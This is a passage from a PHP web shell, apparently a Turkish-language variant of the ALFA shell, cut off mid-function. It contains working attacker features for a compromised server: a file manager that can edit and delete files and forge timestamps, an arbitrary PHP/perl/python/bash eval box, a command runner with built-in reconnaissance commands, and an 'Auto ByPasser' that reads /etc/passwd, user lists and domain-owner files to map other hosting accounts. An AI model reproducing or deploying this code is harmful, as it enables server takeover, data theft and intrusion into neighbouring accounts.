onclick="var chk = confirm(\'Kanka bunu silicem bak emin misin ? # ' . addslashes(rawurldecode($f['name'])) . ' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'' . $raw_name . '\') : \'\';"> X </a></td></tr>';
  1624. $l = $l ? 0 : 1;
  1625. $cc++;
  1626. }
  1627. echo "<tr><td colspan=7>
  1628. <input type=hidden name=a value='FilesMan'>
  1629. <input type=hidden name=c value='" . htmlspecialchars((isset($GLOBALS['glob_chdir_false']) ? $_POST['c'] : $GLOBALS['cwd'])) . "'>
  1630. <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
  1631. <select id='tools_selector' name='alfa1'><option value='copy'>Kopyala</option><option value='move'>Move</option><option value='delete' selected>Sil</option><option value='zip'>Ziple</option><option value='unzip'>Zipten kar</option><option value='paste'>Paste / Zip / Unzip </option></select>
  1632. <input type='submit' value=' '>
  1633. </form></table></div></div>";
  1634. alfafooter();
  1635. }
  1636. function alfaFilesTools() {
  1637. alfahead();
  1638. echo '<div class="filestools">';
  1639. if (isset($_POST['alfa1'])) $_POST['alfa1'] = rawurldecode($_POST['alfa1']);
  1640. $alfa1_decoded = $_POST['alfa1'];
  1641. $chdir_fals = false;
  1642. if (!@chdir($_POST['c'])) {
  1643. $chdir_fals = true;
  1644. $_POST['alfa1'] = $_POST['c'] . '/' . $_POST['alfa1'];
  1645. $alfa_canruncmd = _alfa_can_runCommand(true, true);
  1646. if ($alfa_canruncmd) {
  1647. $slashed_alfa1 = addslashes($_POST['alfa1']);
  1648. $file_info = explode(':', alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "' . $slashed_alfa1 . '"'));
  1649. $perm_color_class = alfaEx("if [[ -w '" . $slashed_alfa1 . "' ]]; then echo main_green_perm; elif [[ -r '" . $slashed_alfa1 . "' ]]; then echo main_white_perm; else echo main_red_perm; fi");
  1650. }
  1651. }
  1652. if ($_POST['alfa2'] == 'auto') {
  1653. if (is_array(@getimagesize($_POST['alfa1']))) {
  1654. $_POST['alfa2'] = 'image';
  1655. } else {
  1656. $_POST['alfa2'] = 'view';
  1657. if ($chdir_fals) {
  1658. if ($alfa_canruncmd) {
  1659. $mime = explode(':', alfaEx("file --mime-type '" . addslashes($_POST['alfa1']) . "'"));
  1660. $mimetype = $mime[1];
  1661. if (!empty($mimetype)) {
  1662. if (strstr($mimetype, 'image')) {
  1663. $_POST['alfa2'] = 'image';
  1664. }
  1665. }
  1666. }
  1667. }
  1668. }
  1669. }
  1670. if ($_POST['alfa2'] == 'rename' && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])) {
  1671. $rename_cache = $_POST['alfa3'];
  1672. }
  1673. if (@$_POST['alfa2'] == 'mkfile') {
  1674. $_POST['alfa1'] = trim($_POST['alfa1']);
  1675. if ($chdir_fals && $alfa_canruncmd) {
  1676. if (_alfa_is_writable($_POST['c'])) {
  1677. alfaEx("cd '" . addslashes($_POST['c']) . "';touch '" . addslashes($alfa1_decoded) . "'");
  1678. $_POST['alfa2'] = 'edit';
  1679. }
  1680. }
  1681. if (!@file_exists($_POST['alfa1'])) {
  1682. $fp = @fopen($_POST['alfa1'], 'w');
  1683. if ($fp) {
  1684. $_POST['alfa2'] = 'edit';
  1685. fclose($fp);
  1686. }
  1687. } else {
  1688. $_POST['alfa2'] = 'edit';
  1689. }
  1690. }
  1691. if (!_alfa_file_exists(@$_POST['alfa1'])) {
  1692. echo __pre() . "<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('" . $_POST['alfa4'] . "');</script>";
  1693. alfaFooter();
  1694. return;
  1695. }
  1696. if ($chdir_fals) {
  1697. $filesize = $file_info[3];
  1698. $uid['name'] = $file_info[1];
  1699. $gid['name'] = $file_info[2];
  1700. $permcolor = alfaPermsColor(array('class' => $perm_color_class, 'num' => $file_info[5], 'human' => $file_info[6]), true);
  1701. } else {
  1702. $uid = function_exists('posix_getpwuid') && function_exists('fileowner') ? @posix_getpwuid(@fileowner($_POST['alfa1'])) : '';
  1703. $gid = function_exists('posix_getgrgid') && function_exists('filegroup') ? @posix_getgrgid(@filegroup($_POST['alfa1'])) : '';
  1704. if (!$uid && !$gid) {
  1705. $uid['name'] = function_exists('fileowner') ? @fileowner($_POST['alfa1']) : '';
  1706. $gid['name'] = function_exists('filegroup') ? @filegroup($_POST['alfa1']) : '';
  1707. }
  1708. $permcolor = alfaPermsColor($_POST['alfa1']);
  1709. $filesize = @filesize($_POST['alfa1']);
  1710. if (!isset($uid['name'], $gid['name']) || empty($uid['name']) || empty($gid['name'])) {
  1711. if (_alfa_can_runCommand()) {
  1712. list($uid['name'], $gid['name']) = explode(':', alfaEx('stat -c "%U:%G" "' . addslashes($_POST['c'] . '/' . $_POST['alfa1']) . '"'));
  1713. }
  1714. }
  1715. }
  1716. echo '<span class="editor_file_info_vars">Name:</span> ' . htmlspecialchars($alfa1_decoded) . ' <span class="editor_file_info_vars">Size:</span> ' . alfaSize($filesize) . ' <span class="editor_file_info_vars">Permission:</span> ' . $permcolor . ' <span class="editor_file_info_vars">Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . ' <span class="editor_file_info_vars">Directory:</span> ' . str_replace('//', '/', ($chdir_fals ? '' : $_POST['c'] . '/') . $_POST['alfa1']) . '<br><br>';
  1717. if (empty($_POST['alfa2'])) $_POST['alfa2'] = 'view';
  1718. if (!_alfa_is_dir($_POST['alfa1'])) {
  1719. $m = array('Oku', 'Dzenle', 'ndir', 'Highlight', 'CHMOD', 'sim deitir', 'Touch', 'Sil', 'Image', 'Hexdump');
  1720. $ftype = 'file';
  1721. } else {
  1722. $m = array('Chmod', 'Rename', 'Touch');
  1723. $ftype = 'dir';
  1724. }
  1725. foreach ($m as $v) echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\'' . addslashes(!isset($rename_cache) ? $_POST['alfa1'] : $rename_cache) . '\',\'' . strtolower($v) . '\',\'\',\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\'):\'\';"><span class="editor_actions">' . ((strtolower($v) == @$_POST['alfa2']) ? '<b><span class="editor_actions"> ' . $v . ' </span> </b>' : $v) . ' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\'' . addslashes(!isset($rename_cache) ? $_POST['alfa1'] : $rename_cache) . '\',\'' . strtolower($v) . '\',\'\',\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\')"><span class="editor_actions">' . ((strtolower($v) == @$_POST['alfa2']) ? '<b><span class="editor_actions"> ' . $v . ' </span> </b>' : $v) . ' | </span></a>';
  1726. echo '<br><br>';
  1727. switch ($_POST['alfa2']) {
  1728. case 'view' : @chdir($_POST['c']);
  1729. echo '<div class="editor-view"><div class="view-content"><p><button style="border-radius:10px;" class="button" onClick="copyToClipboard(\'view_ml_content\');">Kopyala</button></p><pre class="ml1" id="view_ml_content">';
  1730. echo htmlspecialchars(__read_file($_POST['alfa1']));
  1731. echo '</pre></div></div>';
  1732. break;
  1733. case 'highlight' : @chdir($_POST['c']);
  1734. if (@is_readable($_POST['alfa1'])) {
  1735. echo '<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">';
  1736. $code = @highlight_file($_POST['alfa1'], true);
  1737. echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div></div></div>';
  1738. }
  1739. break;
  1740. case 'delete' : @chdir($_POST['c']);
  1741. if (@is_writable($_POST['alfa1']) || isset($GLOBALS['glob_chdir_false'])) {
  1742. $deleted = true;
  1743. if (!@unlink($_POST['alfa1'])) {
  1744. $deleted = false;
  1745. if ($alfa_canruncmd) {
  1746. if (_alfa_is_writable($_POST['alfa1'])) {
  1747. alfaEx("rm -f '" . addslashes($_POST['alfa1']) . "'");
  1748. $deleted = true;
  1749. }
  1750. }
  1751. }
  1752. if ($deleted) echo 'File Deleted...<script>var elem = $("' . $_POST['alfa4'] . '").parentNode;elem.parentNode.removeChild(elem);delete editor_files["' . $_POST['alfa4'] . '"];</script>';
  1753. else echo 'Error...';
  1754. }
  1755. break;
  1756. case 'chmod' : @chdir($_POST['c']);
  1757. if (!empty($_POST['alfa3'])) {
  1758. $perms = 0;
  1759. for ($i = strlen($_POST['alfa3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['alfa3'][$i] * pow(8, (strlen($_POST['alfa3']) - $i - 1));
  1760. if (!@chmod($_POST['alfa1'], $perms)) {
  1761. if ($chdir_fals && $alfa_canruncmd) {
  1762. alfaEx("cd '" . addslashes($_POST['c']) . "';chmod " . addslashes($_POST['alfa3']) . " '" . addslashes($alfa1_decoded) . "'");
  1763. echo ('Success!');
  1764. } else {
  1765. echo '<font color="#FFFFFF"><b>zin yok </b></font><br><script>document.mf.alfa3.value="";</script>';
  1766. }
  1767. } else {
  1768. echo ('Success!');
  1769. }
  1770. }
  1771. clearstatcache();
  1772. if ($chdir_fals) {
  1773. $file_perm = $file_info[5];
  1774. } else {
  1775. $file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])), -4);
  1776. }
  1777. echo '<script>alfa3_="";</script><form onsubmit="editor(\'' . addslashes($_POST['alfa1']) . '\',\'' . $_POST['alfa2'] . '\',this.chmod.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type="text" name="chmod" value="' . $file_perm . '"><input type=submit value=" "></form>';
  1778. break;
  1779. case 'edit' : @chdir($_POST['c']);
  1780. if (!@is_writable($_POST['alfa1']) && !_alfa_is_writable($_POST['alfa1'])) {
  1781. echo 'Yazlabilir deil';
  1782. break;
  1783. }
  1784. if (!empty($_POST['alfa3'])) {
  1785. $_POST['alfa3'] = substr($_POST['alfa3'], 1);
  1786. $time = @filemtime($_POST['alfa1']);
  1787. $fp = @__write_file($_POST['alfa1'], $_POST['alfa3']);
  1788. if ($chdir_fals && $alfa_canruncmd) {
  1789. $rname = $alfa1_decoded;
  1790. $randname = $rname . rand(111, 9999);
  1791. $filepath = dirname($_SERVER['SCRIPT_FILENAME']) . '/' . $randname;
  1792. if ($fp = @__write_file($filepath, $_POST['alfa3'])) {
  1793. alfaEx("mv '" . addslashes($filepath) . "' '" . addslashes($_POST['alfa1']) . "';rm -f '" . addslashes($filepath) . "'");
  1794. }
  1795. }
  1796. if ($fp) {
  1797. echo 'Saved!<br><script>alfa3_="";</script>';
  1798. @touch($_POST['alfa1'], $time, $time);
  1799. }
  1800. }
  1801. echo '<button class="button" style="border-radius:10px;" onClick="copyToClipboard(\'edit_textarea_content\');">copy to clipboard</button><form id="editor_edit_area" onsubmit="editor(\'' . addslashes($alfa1_decoded) . '\',\'' . $_POST['alfa2'] . '\',\'1\'+this.text.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><p><input type="submit" value=" "></p><textarea name="text" id="edit_textarea_content" class="bigarea" onkeydown="saveByKey(event);">';
  1802. echo htmlspecialchars(__read_file($_POST['alfa1']));
  1803. echo '</textarea><p><input type="submit" value=" "></p></form>';
  1804. break;
  1805. case 'hexdump' : @chdir($_POST['c']);
  1806. $c = __read_file($_POST['alfa1']);
  1807. $n = 0;
  1808. $h = array('00000000<br>', '', '');
  1809. $len = strlen($c);
  1810. for ($i = 0;$i < $len;++$i) {
  1811. $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
  1812. switch (ord($c[$i])) {
  1813. case 0 : $h[2].= ' ';
  1814. break;
  1815. case 9 : $h[2].= ' ';
  1816. break;
  1817. case 10 : $h[2].= ' ';
  1818. break;
  1819. case 13:
  1820. $h[2].= ' ';
  1821. break;
  1822. default:
  1823. $h[2].= $c[$i];
  1824. break;
  1825. }
  1826. $n++;
  1827. if ($n == 32) {
  1828. $n = 0;
  1829. if ($i + 1 < $len) {
  1830. $h[0].= sprintf('%08X', $i + 1) . '<br>';
  1831. }
  1832. $h[1].= '<br>';
  1833. $h[2].= "
  1834. ";
  1835. }
  1836. }
  1837. echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table></div></div>';
  1838. break;
  1839. case 'rename':
  1840. @chdir($_POST['c']);
  1841. $alfa1_escape = addslashes($_POST['alfa1']);
  1842. $alfa3_escape = addslashes($_POST['alfa3']);
  1843. if (!empty($_POST['alfa3'])) {
  1844. $cmd_rename = false;
  1845. if ($chdir_fals && $alfa_canruncmd) {
  1846. if (_alfa_is_writable($_POST['alfa1'])) {
  1847. $alfa1_escape = addslashes($alfa1_decoded);
  1848. alfaEx("cd '" . addslashes($_POST['c']) . "';mv '" . $alfa1_escape . "' '" . addslashes($_POST['alfa3']) . "'");
  1849. } else {
  1850. $cmd_rename = true;
  1851. }
  1852. } else {
  1853. $alfa1_escape = addslashes($_POST['alfa1']);
  1854. }
  1855. if (!@rename($_POST['alfa1'], $_POST['alfa3']) && $cmd_rename) {
  1856. echo 'Can\'t rename!<br>';
  1857. } else {
  1858. echo ('Renamed!<script>try{$("' . $_POST['alfa4'] . '").innerHTML = "<div class=\'editor-icon\'>"+loadType(\'' . $alfa3_escape . '\',\'' . $ftype . '\',\'' . $_POST['alfa4'] . '\')+"</div><div class=\'editor-file-name\'>' . $alfa3_escape . '</div>";editor_files["' . $_POST['alfa4'] . '"].file = "' . $alfa3_escape . '";d.files.innerHTML = d.files.innerHTML.replace(/\'' . $alfa1_escape . '\'/g, "\'' . $alfa3_escape . '\'");d.files.innerHTML = d.files.innerHTML.replace(/value\=\"' . $alfa1_escape . '\"/, \'value\=\"' . $alfa3_escape . '\"\');d.files.innerHTML = d.files.innerHTML.replace(/' . $alfa1_escape . '\<\/a\>/g, "' . $alfa3_escape . '</a>");d.files.innerHTML = d.files.innerHTML.replace(/Are You Sure For Delete # ' . $alfa1_escape . ' # \?/, "Are You Sure For Delete # ' . $alfa3_escape . ' # ?");' . ($ftype == 'dir' ? "updateDirsEditor('" . $_POST['alfa4'] . "','" . $alfa1_escape . "');" : '') . '}catch(e){console.log(e)}</script>');
  1859. $alfa1_escape = $alfa3_escape;
  1860. }
  1861. }
  1862. echo '<form onsubmit="editor(\'' . $alfa1_escape . '\',\'' . $_POST['alfa2'] . '\',this.name.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type="text" name="name" value="' . addslashes(htmlspecialchars(isset($_POST['alfa3']) && $_POST['alfa3'] != '' ? $_POST['alfa3'] : $alfa1_decoded)) . '"><input type=submit value=" "></form>';
  1863. break;
  1864. case 'touch':
  1865. @chdir($_POST['c']);
  1866. if (!empty($_POST['alfa3'])) {
  1867. $time = strtotime($_POST['alfa3']);
  1868. if ($time) {
  1869. $touched = false;
  1870. if ($chdir_fals && $alfa_canruncmd) {
  1871. alfaEx("cd '" . addslashes($_POST['c']) . "';touch -d '" . htmlspecialchars(addslashes($_POST['alfa3'])) . "' '" . addslashes($alfa1_decoded) . "'");
  1872. $touched = true;
  1873. }
  1874. if (!@touch($_POST['alfa1'], $time, $time) && !$touched) echo 'Fail!';
  1875. else echo 'Touched!';
  1876. } else echo 'Bad time format!';
  1877. }
  1878. clearstatcache();
  1879. echo '<script>alfa3_="";</script><form onsubmit="editor(\'' . addslashes($_POST['alfa1']) . '\',\'' . $_POST['alfa2'] . '\',this.touch.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type=text name=touch value="' . date('Y-m-d H:i:s', ($chdir_fals ? $file_info[4] : @filemtime($_POST['alfa1']))) . '"><input type=submit value=" "></form>';
  1880. break;
  1881. case 'image':
  1882. @chdir($_POST['c']);
  1883. echo ('<hr>');
  1884. $file = $_POST['alfa1'];
  1885. $image_info = @getimagesize($file);
  1886. if (is_array($image_info) || $chdir_fals) {
  1887. $width = (int)$image_info[0];
  1888. $height = (int)$image_info[1];
  1889. if ($chdir_fals && $alfa_canruncmd) {
  1890. $source = alfaEx("cat '" . addslashes($file) . "' | base64");
  1891. list($width, $height) = explode(':', alfaEx("identify -format '%w:%h' '" . addslashes($file) . "'"));
  1892. $mime = explode(':', alfaEx("file --mime-type '" . addslashes($file) . "'"));
  1893. $image_info['mime'] = $mime[1];
  1894. } else {
  1895. $source = __ZW5jb2Rlcg(__read_file($file, false));
  1896. }
  1897. $image_info_h = 'Image type = <span>[</span> ' . $image_info['mime'] . ' <span>]</span><br>Image Size = <span>[ </span>' . $width . ' x ' . $height . '<span> ]</span><br>';
  1898. if ($width > 800) {
  1899. $width = 800;
  1900. }
  1901. echo $content = "<div class='editor-view'><div class='view-content'><center>" . $image_info_h . "<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:" . $image_info['mime'] . ';base64,' . $source . "' alt='" . $file . "'></center></div></div><br>";
  1902. }
  1903. break;
  1904. }
  1905. echo '</div>';
  1906. alfaFooter();
  1907. }
  1908. function findicon($file, $type) {
  1909. $s = 'http://solevisible.com/icons/';
  1910. $types = array('json', 'ppt', 'pptx', 'xls', 'xlsx', 'msi', 'config', 'cgi', 'pm', 'c', 'cpp', 'cs', 'java', 'aspx', 'asp', 'db', 'ttf', 'eot', 'woff', 'woff2', 'woff', 'conf', 'log', 'apk', 'cab', 'bz2', 'tgz', 'dmg', 'izo', 'jar', '7z', 'iso', 'rar', 'bat', 'sh', 'alfa', 'gz', 'tar', 'php', 'php4', 'php5', 'phtml', 'html', 'xhtml', 'shtml', 'htm', 'zip', 'png', 'jpg', 'jpeg', 'gif', 'bmp', 'ico', 'txt', 'js', 'rb', 'py', 'xml', 'css', 'sql', 'htaccess', 'pl', 'ini', 'dll', 'exe', 'mp3', 'mp4', 'm4a', 'mov', 'flv', 'swf', 'mkv', 'avi', 'wmv', 'mpg', 'mpeg', 'dat', 'pdf', '3gp', 'doc', 'docx', 'docm');
  1911. if ($type != 'file') {
  1912. return ($file == '..' ? $s . 'back.png' : $s . 'folder.png');
  1913. } else {
  1914. $ext = explode('.', $file);
  1915. $ext = end($ext);
  1916. $ext = strtolower($ext);
  1917. return (in_array($ext, $types) ? $s . $ext . '.png' : $s . 'notfound.png');
  1918. }
  1919. }
  1920. function alfadlfile() {
  1921. if (isset($_POST['c'], $_POST['file'])) {
  1922. $basename = rawurldecode(basename($_POST['file']));
  1923. $_POST['file'] = str_replace('//', '/', $_POST['c'] . '/' . $basename);
  1924. $alfa_canruncmd = _alfa_can_runCommand(true, true);
  1925. if (@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd) {
  1926. ob_start('ob_gzhandler', 4096);
  1927. header("Content-Disposition: attachment; filename=\"" . addslashes($basename) . "\"");
  1928. header('Content-Type: application/octet-stream');
  1929. if (isset($GLOBALS['glob_chdir_false'])) {
  1930. $randname = $basename . rand(111, 9999);
  1931. $scriptpath = dirname($_SERVER['SCRIPT_FILENAME']);
  1932. $filepath = $scriptpath . '/' . $randname;
  1933. if (_alfa_is_writable($scriptpath)) {
  1934. alfaEx("cp '" . addslashes($_POST['file']) . "' '" . addslashes($filepath) . "'");
  1935. readfile($filepath);
  1936. @unlink($filepath);
  1937. } else {
  1938. alfaEx("cat '" . addslashes($_POST['file']) . "'");
  1939. }
  1940. } else {
  1941. readfile($_POST['file']);
  1942. }
  1943. } else echo ('Error...!');
  1944. }
  1945. }
  1946. function alfaphpeval() {
  1947. alfahead();
  1948. if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')) {
  1949. echo '<div class=header>';
  1950. ob_start();
  1951. $INI = ini_get_all();
  1952. print '<table border=0><tr>' . '<td class="listing"><font class="highlight_txt">Param</td>' . '<td class="listing"><font class="highlight_txt">Global value</td>' . '<td class="listing"><font class="highlight_txt">Local Value</td>' . '<td class="listing"><font class="highlight_txt">Access</td></tr>';
  1953. foreach ($INI as $param => $values) print "
  1954. " . '<tr>' . '<td class="listing"><b>' . $param . '</td>' . '<td class="listing">' . $values['global_value'] . ' </td>' . '<td class="listing">' . $values['local_value'] . ' </td>' . '<td class="listing">' . $values['access'] . ' </td></tr>';
  1955. $tmp = ob_get_clean();
  1956. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
  1957. $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
  1958. echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
  1959. }
  1960. if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {
  1961. echo '<div class=header><style>.p {color:#000;}</style>';
  1962. ob_start();
  1963. phpinfo();
  1964. $tmp = ob_get_clean();
  1965. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
  1966. $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
  1967. echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
  1968. }
  1969. if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {
  1970. echo '<div class=header>';
  1971. ob_start();
  1972. $EXT = get_loaded_extensions();
  1973. echo '<table border=0><tr><td class="listing">' . implode('</td></tr>' . "
  1974. " . '<tr><td class="listing">', $EXT) . '</td></tr></table>' . count($EXT) . ' extensions loaded';
  1975. echo '</div><br>';
  1976. }
  1977. $lang_html = '';
  1978. foreach (array('php' => 'php ~> [ Windows / Linux ]', 'perl' => 'perl ~> [ Linux ]', 'python' => 'python ~> [ Linux ]', 'bash' => 'bash ~> [ Linux ]') as $key => $val) {
  1979. $lang_html.= '<option value="' . $key . '" ' . ($_POST['alfa3'] == $key ? 'selected' : '') . '>' . $val . '</option>';
  1980. }
  1981. echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">' . $lang_html . '</select><br><br><textarea placeholder="file_get_contents(\'/etc/passwd\');" name=code class=bigarea id=PhpCode>' . (!empty($_POST['alfa1']) ? htmlspecialchars($_POST['alfa1']) : '') . '</textarea><center><input type="submit" value="" style="margin-top:5px"></center>';
  1982. echo '</form><pre id=PhpOutput style="' . (empty($_POST['alfa1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
  1983. if (!empty($_POST['alfa1'])) {
  1984. if ($_POST['alfa3'] == 'php') {
  1985. ob_start();
  1986. eval($_POST['alfa1']);
  1987. $result = htmlspecialchars(ob_get_clean());
  1988. } elseif (_alfa_can_runCommand() && $GLOBALS['sys'] == 'unix') {
  1989. if (isset($_SESSION['eval_tmpdir'])) {
  1990. $tempdir = $_SESSION['eval_tmpdir'];
  1991. } else {
  1992. $tempdir = dirname(alfaEx('mktemp'));
  1993. $_SESSION['eval_tmpdir'] = $tempdir;
  1994. }
  1995. $lang = $_POST['alfa3'];
  1996. $filename = 'temp' . rand(11111, 99999);
  1997. $temp = $tempdir . '/' . $filename;
  1998. __write_file($filename, $_POST['alfa1']);
  1999. $result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
  2000. @unlink($filename);
  2001. @unlink($temp);
  2002. }
  2003. echo '<textarea class=bigarea id="PhpCode">' . $result . '</textarea>';
  2004. }
  2005. echo '</pre></div>';
  2006. alfafooter();
  2007. }
  2008. function __pre() {
  2009. return ('<pre id="strOutput" style="margin-top:5px" class="ml1">');
  2010. }
  2011. function alfaproc() {
  2012. alfahead();
  2013. echo '<Div class=header><br><center>';
  2014. if (empty($_POST['ajax']) && !empty($_POST['alfa1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  2015. if ($GLOBALS['sys'] == 'win') {
  2016. $process = array('Grev listesi' => 'tasklist /V', 'Sistem bilgisi' => 'systeminfo', 'Aktif balantlar' => 'netstat -an', 'alan servisler' => 'net start', 'Kullanclar' => 'net user', 'ARP Tablosu' => 'arp -a', 'IP ayar' => 'ipconfig /all');
  2017. } else {
  2018. $process = array('lem durumu' => 'ps aux', 'Syslog' => 'cat /etc/syslog.conf', 'Resolv' => 'cat /etc/resolv.conf', 'Hosts' => 'cat /etc/hosts', 'Cpuinfo' => 'cat /proc/cpuinfo', 'Version' => 'cat /proc/version', 'Sbin' => 'ls -al /usr/sbin', 'Interrupts' => 'cat /proc/interrupts', 'lsattr' => 'lsattr -va', 'Uptime' => 'uptime', 'Fstab' => 'cat /etc/fstab', 'ErrorLog' => "tail -10000 /usr/local/apache/logs/error_log | grep '/home'", 'AccessLog' => "tail -10000 /usr/local/apache/logs/access_log | grep '/home'", 'my.conf' => "tail -10000 /etc/my.cnf | grep '/home'", 'mysqllog' => "tail -10000 /var/log/mysql.log | grep '/home'");
  2019. }
  2020. foreach ($process as $n => $link) {
  2021. echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\'' . $link . '\')"> | ' . $n . ' | </a>';
  2022. }
  2023. echo '</center><br>';
  2024. if (!empty($_POST['alfa1'])) {
  2025. echo "<pre class='ml1' style='margin-top:5px' >";
  2026. if (isset($GLOBALS['glob_chdir_false']) && !empty($_POST['c'])) {
  2027. $cmd = "cd '" . addslashes($_POST['c']) . "';";
  2028. }
  2029. echo alfaEx($cmd . $_POST['alfa1']);
  2030. echo '</pre>';
  2031. }
  2032. echo '</div>';
  2033. alfafooter();
  2034. }
  2035. function alfasafe() {
  2036. alfahead();
  2037. echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
  2038. echo '<h3><a href=javascript:void(0) onclick="g(\'safe\',null,\'php.ini\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,\'ini\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,\'users\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
  2039. if (!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains') {
  2040. if (!_alfa_file_exists('/etc/virtual/domainowners')) {
  2041. echo __pre();
  2042. $solevisible9 = _alfa_file('/etc/named.conf');
  2043. if (is_array($solevisible9)) {
  2044. foreach ($solevisible9 as $solevisible13) {
  2045. if (@eregi('zone', $solevisible13)) {
  2046. preg_match_all('#zone "(.*)"#', $solevisible13, $solevisible14);
  2047. if (strlen(trim($solevisible14[1][0])) > 2) {
  2048. echo $solevisible14[1][0] . '<br>';
  2049. }
  2050. }
  2051. }
  2052. }
  2053. } else {
  2054. echo __pre();
  2055. $users = _alfa_file('/etc/virtual/domainowners');
  2056. if (is_array($users)) {
  2057. foreach ($users as $boz) {
  2058. $dom = explode(':', $boz);
  2059. echo $dom[0] . "
  2060. ";
  2061. }
  2062. }
  2063. }
  2064. }
  2065. if (!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases') {
  2066. echo '
  2067. <form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,\'>>\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>';
  2068. if (isset($_POST['alfa9']) && $_POST['alfa9'] == '>>') {
  2069. if (!_alfa_file_exists('/etc/virtual/domainowners')) {
  2070. $site = trim($_POST['alfa7']);
  2071. $rep = str_replace(array('https://', 'http://', 'www.'), '', $site);
  2072. $user = '';
  2073. if (function_exists('posix_getpwuid') && function_exists('fileowner')) {
  2074. if ($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))) {
  2075. $user = $user['name'];
  2076. }
  2077. } else {
  2078. if (_alfa_can_runCommand(true, true)) {
  2079. $user = alfaEx("stat -c '%U' /etc/valiases/" . $rep);
  2080. }
  2081. }
  2082. if (!empty($user) && $user != 'root') {
  2083. echo __pre() . "<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
  2084. } else {
  2085. echo __pre() . '<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';
  2086. }
  2087. } else {
  2088. $site = trim($_POST['alfa7']);
  2089. $rep = str_replace(array('https://', 'http://', 'www.'), '', $site);
  2090. $users = _alfa_file('/etc/virtual/domainowners');
  2091. foreach ($users as $boz) {
  2092. $ex = explode(':', $boz);
  2093. if ($ex[0] == $rep) {
  2094. echo __pre() . "<center><table border='1'>
  2095. <tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">" . trim($ex[1]) . "</font></b></td></tr>
  2096. <tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
  2097. break;
  2098. }
